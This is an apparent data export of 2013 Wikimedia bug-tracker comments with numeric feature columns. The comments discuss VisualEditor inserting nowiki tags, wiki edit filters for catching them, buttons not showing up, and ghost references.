244606,Tagging articles using old markup on VE,"A user at en.wp comments that if this bug remains unfixed that cleaning up the live wiki using AWB will take ""about maybe an hour of experienced editor time to manage this, every day forever, because WMF is unwilling to accept feedback on how the software is actually used.""",,,1375214654,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,2.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,17.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,6.0,9.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,4.185185185185185,0.8703703703703703,"A user at en.wp comments that if this bug remains unfixed that cleaning up the live wiki using AWB will take ""about maybe an hour of experienced editor time to manage this, every day forever, because WMF is unwilling to accept feedback on how the software is actually used."""
244603,Tagging articles using old markup on VE,"**kwwilliams** wrote:

(In reply to comment #11)
> (In reply to comment #10)
> > (In reply to comment #7)
> > > Adding a <nowiki> to an article (as opposed to a template or something) is
> > > generally unnecessary and probably in need of a second look, regardless of
> > > whether VE added it or the editor added it manually.  Wikimarkup simply
> > > *doesn't look like* real punctuation, so it's uncommon to need to escape it
> > > in
> > > running text.
> > > 
> > > As such, I tentatively agree with James here: A VE-only filter would be
> > > unnecessary since the broader case is really what we need to go after anyway.
> > 
> > You miss the point: in an edit-filter, I would advocate simply blocking the
> > edit if it was VE and not allow it to be saved. If a human being consciously
> > did it, there's at least a remote chance that it was a good edit worthy of
> > examination.
> 
> I think that would be an exceptionally-bad thing to do to fellow editors and
> thus to the wiki at large

As was making VE the default editor in the first place, so it's obvious we don't agree some fundamental points.

> 
> > There *are* legitimate uses of nowiki, usually things involving bolded and
> > italicized possessives, pipe characters inside of text. It's just that none
> > of the ones created by VE have any merit.
> 
> None? None ever? Not even when a user of VisualEditor creates a bolded or
> italicised possessive? :-)

True enough. Which is why you should fix the root bug in the first place instead of pushing it downstream for everyone else to deal with: warning newbies about inserting explicit wikimarkup is obviously still inadequate, as this edit filter still fires.",,,1375209327,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0.5,0.5,0.0,0.0,0.5,5.5,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,0.0,0.5,0.0,5.5,7.5,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,1.0,3.0,0.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,2.0,17.5,1.0,0.0,4.5,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,2.5,7.5,13.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,3.6285714285714286,0.5857142857142857,"**kwwilliams** wrote:

(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

As was making VE the default editor in the first place, so it's obvious we don't agree some fundamental points.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

True enough. Which is why you should fix the root bug in the first place instead of pushing it downstream for everyone else to deal with: warning newbies about inserting explicit wikimarkup is obviously still inadequate, as this edit filter still fires."
244599,Tagging articles using old markup on VE,"(In reply to comment #6)
> Tell me how an abuse filter can even detect that Visual Editor was involved
> in the edit before you attempt to close this, please.

That would be bug 51421 (which is a bug against AbuseFilter); you should follow-up there.",,,1375203199,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,15.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,0.0,6.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.2058823529411766,0.8529411764705882,"(In reply to comment #6)
QUOTE
QUOTE

That would be bug 51421 (which is a bug against AbuseFilter); you should follow-up there."
244594,Tagging articles using old markup on VE,"(In reply to comment #10)
> (In reply to comment #7)
> > Adding a <nowiki> to an article (as opposed to a template or something) is
> > generally unnecessary and probably in need of a second look, regardless of
> > whether VE added it or the editor added it manually.  Wikimarkup simply
> > *doesn't look like* real punctuation, so it's uncommon to need to escape it
> > in
> > running text.
> > 
> > As such, I tentatively agree with James here: A VE-only filter would be
> > unnecessary since the broader case is really what we need to go after anyway.
> 
> You miss the point: in an edit-filter, I would advocate simply blocking the
> edit if it was VE and not allow it to be saved. If a human being consciously
> did it, there's at least a remote chance that it was a good edit worthy of
> examination.

I think that would be an exceptionally-bad thing to do to fellow editors and thus to the wiki at large, but that's a decision for local wikis' communities to make, and not appropriate for the developers to rule on.

> There *are* legitimate uses of nowiki, usually things involving bolded and
> italicized possessives, pipe characters inside of text. It's just that none
> of the ones created by VE have any merit.

None? None ever? Not even when a user of VisualEditor creates a bolded or italicised possessive? :-)",,,1375203157,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,2.0,5.5,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,5.5,9.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.5,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,5.0,0.5,14.5,1.0,3.0,6.5,0.0,1.0,0.0,0.5,3.5,0.0,0.5,0.0,0.5,9.0,9.0,2.5,1.0,0.0,0.5,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5178571428571432,0.6071428571428572,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think that would be an exceptionally-bad thing to do to fellow editors and thus to the wiki at large, but that's a decision for local wikis' communities to make, and not appropriate for the developers to rule on.

QUOTE
QUOTE
QUOTE

None? None ever? Not even when a user of VisualEditor creates a bolded or italicised possessive? :-)"
244590,Tagging articles using old markup on VE,"**kwwilliams** wrote:

(In reply to comment #7)
> Adding a <nowiki> to an article (as opposed to a template or something) is
> generally unnecessary and probably in need of a second look, regardless of
> whether VE added it or the editor added it manually.  Wikimarkup simply
> *doesn't look like* real punctuation, so it's uncommon to need to escape it
> in
> running text.
> 
> As such, I tentatively agree with James here: A VE-only filter would be
> unnecessary since the broader case is really what we need to go after anyway.

You miss the point: in an edit-filter, I would advocate simply blocking the edit if it was VE and not allow it to be saved. If a human being consciously did it, there's at least a remote chance that it was a good edit worthy of examination.

There *are* legitimate uses of nowiki, usually things involving bolded and italicized possessives, pipe characters inside of text. It's just that none of the ones created by VE have any merit.",,,1375202701,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,1.5,0.5,4.5,1.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.5,0.5,0.0,4.0,10.5,1.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,0.5,1.0,4.5,0.0,3.5,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,14.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,2.5,9.5,3.0,1.5,5.5,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,4.5,10.5,6.0,0.0,0.0,0.0,4.5,0.0,0.0,3.0,0.0,1.5,0.0,1.0,0.0,3.5388221153846153,0.7061298076923077,"**kwwilliams** wrote:

(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

You miss the point: in an edit-filter, I would advocate simply blocking the edit if it was VE and not allow it to be saved. If a human being consciously did it, there's at least a remote chance that it was a good edit worthy of examination.

There *are* legitimate uses of nowiki, usually things involving bolded and italicized possessives, pipe characters inside of text. It's just that none of the ones created by VE have any merit."
244584,Tagging articles using old markup on VE,"**nykevin.norris** wrote:

But code samples and template documentation won't be in mainspace, which the current filter checks for.  Legitimate uses of <nowiki> in mainspace are quite rare, so far as I know.  I suppose the articles on e.g. [[MediaWiki]] might use nowiki'd wikitext to show the readers what wikitext looks like, but other than that...",,,1375202572,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,1.0,5.0,3.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,3.0,0.0,7.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,5.0,5.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,3.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,12.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.8947368421052633,0.8026315789473685,"**nykevin.norris** wrote:

But code samples and template documentation won't be in mainspace, which the current filter checks for.  Legitimate uses of <nowiki> in mainspace are quite rare, so far as I know.  I suppose the articles on e.g. [[MediaWiki]] might use nowiki'd wikitext to show the readers what wikitext looks like, but other than that..."
244577,Tagging articles using old markup on VE,"Its possible the abusefilter could be made to detect veaction=edit, then the abuse filter could be made more discriminating, and probably block ve edits with nowiki's.

There are many cases where nowiki's are ment from the wikitext. In code samples documentation of templates etc. they always explicitly typed indication an intention from the user.",,,1375202406,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,2.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,6.0,5.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,4.553846153846154,0.7846153846153846,"Its possible the abusefilter could be made to detect veaction=edit, then the abuse filter could be made more discriminating, and probably block ve edits with nowiki's.

There are many cases where nowiki's are ment from the wikitext. In code samples documentation of templates etc. they always explicitly typed indication an intention from the user."
244571,Tagging articles using old markup on VE,"**nykevin.norris** wrote:

Adding a <nowiki> to an article (as opposed to a template or something) is generally unnecessary and probably in need of a second look, regardless of whether VE added it or the editor added it manually.  Wikimarkup simply *doesn't look like* real punctuation, so it's uncommon to need to escape it in running text.

As such, I tentatively agree with James here: A VE-only filter would be unnecessary since the broader case is really what we need to go after anyway.",,,1375201973,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0.0,0.5,0.0,0.0,1.0,7.5,1.5,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,2.0,0.0,8.0,12.0,0.5,3.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.5,2.5,6.0,2.5,1.5,4.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,4.5,12.0,3.5,0.0,0.0,0.0,4.5,0.0,1.0,3.0,0.0,1.5,1.0,0.0,1.0,3.814814814814815,0.8425925925925926,"**nykevin.norris** wrote:

Adding a <nowiki> to an article (as opposed to a template or something) is generally unnecessary and probably in need of a second look, regardless of whether VE added it or the editor added it manually.  Wikimarkup simply *doesn't look like* real punctuation, so it's uncommon to need to escape it in running text.

As such, I tentatively agree with James here: A VE-only filter would be unnecessary since the broader case is really what we need to go after anyway."
244564,Tagging articles using old markup on VE,"**kwwilliams** wrote:

Tell me how an abuse filter can even detect that Visual Editor was involved in the edit before you attempt to close this, please.",,,1375201659,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,6.0,12.0,9.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.764705882352941,0.9117647058823529,"**kwwilliams** wrote:

Tell me how an abuse filter can even detect that Visual Editor was involved in the edit before you attempt to close this, please."
244555,Tagging articles using old markup on VE,"As mentioned, there is now a local AbuseFilter running on enwiki that flags any edit that adds a <nowiki> tag (whether in VisualEditor or wikitext editor; whether accidental or deliberate; whether due to using wikitext markup or because of a bug).

I think a global AbuseFilter might make sense to do this globally, but certainly this feels like something better done using AbuseFilter than heavy-handedly inserted by VisualEditor itself, if that makes sense, so I'm going to close this as a WONTFIX - but very happy to reopen if people feel it would be better in VE.",,,1375200134,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,True,,,4,,0.5,1.0,1.0,0.0,0.0,4.5,1.0,0.5,0.0,2.0,3.0,1.0,0.0,0.0,0.5,1.5,0.0,6.5,14.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,5.5,4.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,7.0,2.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,3.0,1.5,7.0,4.0,3.5,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,14.0,4.5,0.0,0.0,0.0,3.0,0.0,1.0,3.0,1.0,3.0,1.0,0.0,1.0,4.176378446115288,0.8052944862155389,"As mentioned, there is now a local AbuseFilter running on enwiki that flags any edit that adds a <nowiki> tag (whether in VisualEditor or wikitext editor; whether accidental or deliberate; whether due to using wikitext markup or because of a bug).

I think a global AbuseFilter might make sense to do this globally, but certainly this feels like something better done using AbuseFilter than heavy-handedly inserted by VisualEditor itself, if that makes sense, so I'm going to close this as a WONTFIX - but very happy to reopen if people feel it would be better in VE."
244546,Tagging articles using old markup on VE,"Maybe this is something that should be tested with global filters[1] now that they are available?

[1] http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070253.html",,,1373826928,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,1,,0.0,4.0,0.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,9.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,9.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,9.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,3.9130434782608696,0.9130434782608695,"Maybe this is something that should be tested with global filters[1] now that they are available?

[1] URL"
244537,Tagging articles using old markup on VE,"There is now an edit filter to detect insertion of nowiki's
http://en.wikipedia.org/w/index.php?title=Special:AbuseLog&offset=&limit=500&wpSearchFilter=550",,,1373475389,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,1.0,"There is now an edit filter to detect insertion of nowiki's
URL"
244529,Tagging articles using old markup on VE,"FYI, in the meantime, I've requested an edit filter to be added to identify nowiki tags in the main namespace on the English Wikipedia:
https://en.wikipedia.org/w/index.php?title=Wikipedia:Edit_filter/Requested&oldid=562811538#nowiki_in_main_namespace

There's now also one on the French Wikipedia.",,,1372941268,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,20.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,15.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8048780487804876,0.8048780487804879,"FYI, in the meantime, I've requested an edit filter to be added to identify nowiki tags in the main namespace on the English Wikipedia:
URL

There's now also one on the French Wikipedia."
244521,Tagging articles using old markup on VE,"**nykevin.norris** wrote:

Here's an example of an edit which we'd like to be tagged in the future:

https://en.wikipedia.org/w/index.php?title=Richard_Rich,_1st_Baron_Rich&diff=562587470&oldid=562435942

In this case, the user didn't even realize they were using the VisualEditor and came to the help desk, confused:

https://en.wikipedia.org/wiki/Wikipedia:Help_desk#Problems_editing_with_beta_versions.3F",,,1372870715,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,11.0,4.0,9.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,9.0,5.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.4363636363636365,0.7272727272727273,"**nykevin.norris** wrote:

Here's an example of an edit which we'd like to be tagged in the future:

URL

In this case, the user didn't even realize they were using the VisualEditor and came to the help desk, confused:

URL"
52524,Buttons not showing up,"http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#.22Submit.22_button_doesn.27t_show_up

Epicgenius reports the buttons not showing up, I have his same config and was not able to reproduce the issue.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372714740,1374878756.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-i6cv3vliogwuderqbjnw,task_description,invalid,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,5.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.7142857142857143,"URL

Epicgenius reports the buttons not showing up, I have his same config and was not able to reproduce the issue.

--------------------------
**Version**: unspecified
**Severity**: normal"
244399,Buttons not showing up,"Given that it's been 25 days without further reports or information about the original issue, I'm marking this as INVALID.",,,1374878756,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-i6cv3vliogwuderqbjnw,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,17.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.291666666666667,1.0,"Given that it's been 25 days without further reports or information about the original issue, I'm marking this as INVALID."
244391,Buttons not showing up,Can they take a screenshot and attach to this bug? It'd be helpful to understand what it now showing up looks like.,,,1372714830,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-i6cv3vliogwuderqbjnw,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,12.0,16.0,0.0,4.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.76,0.96,Can they take a screenshot and attach to this bug? It'd be helpful to understand what it now showing up looks like.
52521,Ghost references in VisualEditor?,"Pamd reports:
If I open [[Queen Anne Grammar School]] in VE, I can see two superscripts linking to references - and 29 references in the reflist. Some of them perhaps most, are the refs which were deleted in a [http://en.wikipedia.org/w/index.php?title=Queen_Anne_Grammar_School&diff=562382386&oldid=562381869 series of edits] 9 hours ago while the article was being moved from AFC to mainspace. If I open it in Edit Source, it's a respectable little stub with two refs and no sign of the other stuff.

Full report at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#VE_picking_up_old_version_of_file.3F_-_27_ghost_references.21 .

It does the same for me (Vector on Chrome).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372712700,1385375005.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-y2smkmxkc74umzi22ziq,task_description,resolved,True,c1,3,False,False,False,0,,0.5,0.0,0.0,1.5,0.0,6.0,0.5,0.0,0.0,1.5,2.5,0.0,0.0,0.0,0.0,2.5,0.0,1.5,10.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,3.5,0.5,2.5,1.5,0.0,0.0,0.0,0.0,0.5,1.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,2.0,14.5,2.0,1.5,6.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,5.5,10.5,6.0,0.0,0.0,0.0,5.5,0.0,0.5,1.5,1.5,0.5,0.0,0.5,2.0,3.5153846153846153,0.7846153846153846,"Pamd reports:
If I open [[Queen Anne Grammar School]] in VE, I can see two superscripts linking to references - and 29 references in the reflist. Some of them perhaps most, are the refs which were deleted in a [URL series of edits] 9 hours ago while the article was being moved from AFC to mainspace. If I open it in Edit Source, it's a respectable little stub with two refs and no sign of the other stuff.

Full report at URL .

It does the same for me (Vector on Chrome).

--------------------------
**Version**: unspecified
**Severity**: normal"
244210,Ghost references in VisualEditor?,"Yes, same issue as bug 50380.

*** This bug has been marked as a duplicate of bug 50380 ***",,,1385375005,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-y2smkmxkc74umzi22ziq,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.8461538461538463,0.6538461538461539,"Yes, same issue as bug 50380.

*** This bug has been marked as a duplicate of bug 50380 ***"
244204,Ghost references in VisualEditor?,"I cant reproduce this using the example given.

